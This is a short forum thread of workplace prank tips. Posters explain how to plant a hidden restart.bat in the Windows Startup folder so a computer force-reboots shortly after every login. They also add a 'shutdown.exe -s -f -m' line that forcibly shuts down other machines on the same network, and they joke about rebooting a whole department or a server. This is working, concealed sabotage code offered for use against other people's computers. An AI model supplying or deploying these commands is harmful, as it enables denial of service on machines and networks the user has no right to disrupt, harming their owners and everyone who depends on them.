Hmm....
Open a text file, and write this text -

shutdown -r

Then save it as restart.bat, and put it into All Programs/Startup, then make it hidden.

(Sorry if this is patronisingly easy, but basically everytime someone loads your computer up, it'll just restart itself after about 30 seconds)

Slight modification
Make it:

shutdown.exe -r -f

The -f command forces all programs to close so nothing can hold it up.

Actually, just looking at the shutdown command list
Add an extra line going

shutdown.exe -s -f -m \\ANOTHER WORK COMPUTER NAME

Whenever it starts up, if it's on the same network as that computer, that one will be shut down.

I've tried that before...
I had problems due to admin access or some crap like that.

Doesn't always work
I used to have fun with it at LAN parties when there was always one sod who never had a firewall set up.

Pity though, you could have had the entire department reboot... or if it was badly set up, a server. If you could do that though, your IT guys should be shot.
